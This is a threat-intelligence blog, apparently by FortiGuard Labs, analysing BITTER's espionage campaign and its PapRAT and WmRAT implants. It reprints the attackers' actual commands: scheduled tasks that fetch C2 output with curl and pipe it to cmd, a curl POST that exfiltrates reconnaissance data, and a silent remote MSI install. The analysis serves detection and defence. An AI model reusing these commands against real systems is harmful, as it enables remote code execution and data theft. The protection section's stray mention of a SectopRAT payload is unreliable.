Bitter Expands Its Arsenal With Paprat

FortiGuard Labs traces three attack chains targeting South Asian organizations and examines PapRAT’s evolving capabilities

Affected Platforms: Microsoft Windows Impacted Users: Microsoft Windows Impact: Compromised machines are under the control of the threat actor Severity Level: High

BITTER is a suspected South Asian cyberespionage group active since at least 2013, with a history of targeting the government, energy, and engineering sectors. Over the past several months, FortiGuard Labs has tracked a campaign targeting South Asian organizations that uses PowerShell scripts and a custom remote access trojan (RAT), which we call PapRAT, to establish persistent access to victim environments. Based on lure filenames, command-and-control (C2) communication patterns, file metadata, and malware analysis, we attribute this activity to BITTER with high confidence.

The campaign uses three distinct infection chains. The first uses a malicious LNK file that abuses the native Windows ftp.exe utility to execute scripts and create scheduled tasks that maintain with the attacker’s C2 server. The second uses a VHDX disk image containing a LNK file that opens a decoy spreadsheet while silently launching an MSI installer to deploy PapRAT. The third begins with a URL shortcut that retrieves a LNK file through WebDAV, leading to an MSI installer that deploys PapRAT. In this chain, PapRAT also delivers WmRAT, a secondary implant previously documented by other researchers.

PapRAT has both C++ and Rust implementations. Its name is derived from artifacts in the Rust build: the PDB filename “requpap.pdb” and the PE product name “papsolutions.” Its capabilities include command execution, file uploads and downloads, file deletion, directory and drive enumeration, and screenshot capture. The Rust variant adds PowerShell execution and other commands.

This blog examines the three infection chains, analyzes PapRAT’s capabilities, and traces its evolution from C++ to Rust.

This attack chain uses the lure file names “update on Avn Comd and Staff program” and “NV-683 Request for Bilateral Meeting during 22nd HACGAM”. The chain starts with an LNK file that uses ftp.exe to execute a script in “ icon.ico.”

In ftp.exe, the “!” prefix executes the following token as a local shell command rather than an ftp directive. “!more res.ico” pipes the contents of “res.ico” to cmd for execution, then terminates the ftp session. This LOLBin chain bypasses common script-engine monitoring that targets PowerShell or wscript.

The “res.ico” includes more tasks. First, it creates a scheduled task with a less aggressive name, then uses curl to communicate with a remote server using the parameter “kq=%computername%” and saves the result in “C:\users\public\music\err.log,” pretending to be a system error log file. Finally, it launches a pop-up message to make victims think the activity is an error and that it can't open the target file.

schtasks /create /sc minute /mo 30 /tn MicrosoftUpdates\updates11678 /tr "conhost --headless cmd /c more C:\users\public\music\err.log|cmd" /f

echo curl --ssl-no-revoke -k goodnfortunes[.]com/b99/?kq=%computername%^|c^m^d > C:\users\public\music\err.log

msg * "Explorer was unable to open this file!"

For this attack chain, we collected different “err.log” files from remote servers.

The one from “update on Avn Comd and Staff programme” performs reconnaissance. It collects directory and task lists, directory information from Desktop, Documents, and Downloads, installed antivirus product data, and mounted drives. It saves all the data to “abc.pdf” and sends it to the C2 server.

dir %userprofile%\Desktop >> abc.pdf

dir %userprofile%\Documents >> abc.pdf

dir %userprofile%\Downloads >> abc.pdf

powershell -c Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct >> abc.pdf

fsutil fsinfo drives >> abc.pdf

curl -X POST -F "[email protected]" ://goodnfortunes.com/ucl.php?svr=%computername%**%username%

The one from “NV-683 Request for Bilateral Meeting during 22nd HACGAM\NV-683 Request for Bilateral Meeting during 22nd HACGAM” is performing additional scripting for the other scheduled task.

schtasks /create /sc minute /mo 15 /tr "conhost --headless cmd /c more C:\programdata\talk.log|c^m^d" /tn BiosUpdates\update101 /f

curl -o C:\programdata\talk.log ://techtalkhelp.com/talk.log -k

“talk.log” contains a Base64-encoded script that fetches additional commands from another URL. This staging model gives the attacker operational flexibility, while the commands are updated server-side without pushing a new binary, avoiding PE drops and process injection that some security appliances could easily detect.

This chain begins with a VHDX disk image lure, “Letter from the Ambassador - 11th Belt and Road Summit.vhdx.” When mounted, it reveals a single visible LNK file and two hidden files, the decoy spreadsheet “Attachment-2.xls” and the installer “Visa_Details.msi.” The LNK executes “cmd.exe /c Visa_Details.msi & Attachment-2.xls,” silently running the installer while opening the decoy document to keep the victim unaware.

The MSI file is the primary malicious file used to deploy PapRAT. It lacks legitimate installation functionality, and a table review shows that the only executable action is the Type 194 CustomAction.

That binary is PapRAT, which gives the attacker full remote control over the compromised host. It masquerades as a legitimate component: the PE version resource identifies it as bruzsvc.exe, attributed to “Microsoft Corporation” with the product name “Microsoft redistributables” (version 2.6.14.26). Once running, it establishes a persistent connection to a hardcoded C2 server over plaintext HTTP, checking in every 10 seconds for new instructions. To avoid embedding the server address in plaintext, the C2 configuration (host, port, and URL paths) is XOR-encoded with the key 0x50.

PapRAT identifies the victim by combining the username and computer name, joined by an underscore. It then sends a keep-alive beacon to the C2 server with the “client_id” parameter and polls for the command.

The C2 communicates back through JSON-structured responses, supporting eight commands:

If it receives the “msg” execute command from the C2 server, PapRAT extracts the value field from the JSON response and passes it to a shell thread for execution.

The screenshot command (SS1) works similarly. The “value” field specifies the location to save the captured image. PapRAT saves the screenshot as a JPG file, then sends it back to the C2 in a POST request using a fixed multipart boundary string.

File transfers use an HTTP request format that includes an OTP (one-time password) code and the “ClientID” composed of the username and computer name.

The C2 panel on “rivingtonclarks[.]com” is shown below. Based on telemetry, the targets of this campaign are concentrated in South Asia.

An earlier PapRAT variant shares the same panel design but greets operators with a “Banana Login” page, an early sign of the fruit-word naming convention that runs throughout the entire tool family.

The last attack chain combines the first 2 chains. It begins with an archived file, “Official Invitation Majilis 2026 Gala Dinner.rar,” which contains “Invitation 2026.url” and connects to “rappellingaart[.]com@SSL/secure-docs/1.”

The destination server contains an LNK and the “icon.ico.” In this step, it is similar to attack chain 1, and it calls the “res.ico.”

The “res.ico” creates a scheduled task, communicates with a remote server for “C:\users\public\music\err.log,” and performs an additional action that executes the MSI file “Imp_Details.msi.”

schtasks /create /sc minute /mo 49 /tn MicrosoftUpdates\updates88679 /tr "cmd /c more C:\users\public\music\err.log|cmd" /f

echo curl --ssl-no-revoke -k hxxp://gomescareerplans[.]com/docs/?vid=%computername%G^|^c^md > C:\users\public\music\err.log

msiexec /i \\rappellingaart[.]com@SSL\secure-docs\Imp_Details.msi /qn

msg * "Explorer was unable to open this file!"

The MSI file use the same execution type in attack chain 2.

The decoded C2 is www[.]chestergreenfarming[.]com, which supports similar commands. In this attack chain, we obtain the DWW command and receive the other payload, “vnces.exe.”

The C2 login page becomes cleaner, and the telemetry still targets South Asia.

“A further indicator linking this activity to BITTER is that the secondary payload “vnces.exe,” downloaded via PapRAT’s “DWW” command, is WmRAT. WmRAT is a remote access trojan written in C++ that can gather basic information, take screenshots, list directories and files, and execute commands from C2 “netmansrvdns[.]com.”

The Evolution of PapRAT

More recently, we obtained another PapRAT variant written in Rust. The sample is written in Rust and has a PDB named “requpap.pdb.” It also implements a complete HTTPS command-and-control loop. It starts with a 42-second delay, then polls the C2 server every 5 seconds, registering the compromised host with “client_id= _ .” All sensitive constants are stored in .rdata, reversed and ROT-3 shifted. The stored literal “/dqdqde/prf.vnudofqrwjqlylu.zzz” decodes to the C2 URL www[.]rivingtonclarks[.]com/banana/.

And it adds three commands over the C++ build.

This campaign illustrates how BITTER combines native Windows tools with custom malware to establish and maintain access to targeted systems. The first infection chain uses ftp.exe, curl, scripts, and scheduled tasks without deploying a traditional malware executable, potentially reducing visibility for endpoint controls focused on executable files. The other two chains deliver PapRAT through LNK files and MSI installers, enabling system reconnaissance, file manipulation, secondary payload delivery, screenshot capture, and remote command execution.

PapRAT’s C++ and Rust implementations indicate continued investment in BITTER’s toolset. The Rust variant expands the implant’s command set from eight to eleven, adding PowerShell execution, a sleep directive, and a clean exit command. These changes underscore the importance of monitoring malicious behavior across scripting tools, scheduled tasks, and installer activity alongside detecting known malware signatures.

Organizations should treat unexpected LNK files, URL shortcuts, disk images, and MSI packages with caution, particularly when delivered through unsolicited messages. Combining user awareness with controls that detect suspicious execution chains and outbound C2 traffic can help limit exposure to campaigns that blend legitimate Windows functionality with custom malware.

Fortinet customers are already protected from this campaign with FortiGuard’s Web Filtering and AntiVirus services as follows:

The URLs associated with this campaign are rated as Malicious Websites by the FortiGuard Web Filtering service.

FortiGuard Antivirus service detects the associated DLL files and DB files, as well as the fileless SectopRAT payload file, with the following AV signatures.

LNK/Agent.BC!tr LNK/Agent.F!tr W64/PapRAT.A!tr W32/WmRAT.A!tr

Fortinet FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service, and each solution includes the FortiGuard AntiVirus engine. As a result, customers using these products already have up-to-date protections.

We also suggest that our readers complete the free NSE training: NSE 1 – Information Security Awareness, which includes information on Internet threats and is designed to help end users identify and protect themselves against phishing attacks.

The FortiPhish Phishing Simulation Service, together with Fortinet’s Security Awareness and Training Service, uses real-world phishing scenarios to train and test employees against common social engineering tactics. By improving users’ ability to recognize and respond to suspicious content—especially during high-risk periods of distraction or urgency—these services help reduce the risk of successful phishing and malware attacks.

netmansrvdns[.]com rappellingaart[.]com

hxxps://techtalkhelp[.]com/talk.log hxxp://www[.]rivingtonclarks[.]com/beautiQuewonders/banaNa.php hxxps://goodnfortunes[.]com/ucl.php hxxps://felixfuturenext[.]com/Epistemological/ hxxp://gomescareerplans[.]com/docs

a3081df333ca7f18bd90d10a45125ab5011dcf9d2806feae2935f09cab07da4c e3992f8c945b0761242377cba32d91b0a390c7cecd79478439843d93e6d2b76b ccefbdec2718d864d9d33c743aabfcef88a8d7904d1c598bfcf15cf5f3591c88

569a21b519aaac8c92f653d708ab6ef34e3f38ea967f47e041d1e2425f6a4b33

411c0b9a2f98b927d806a685faf0c1ab1005647b4816157008892347fb88546b

Ransomware Prevention

Product Certifications

Social Responsibility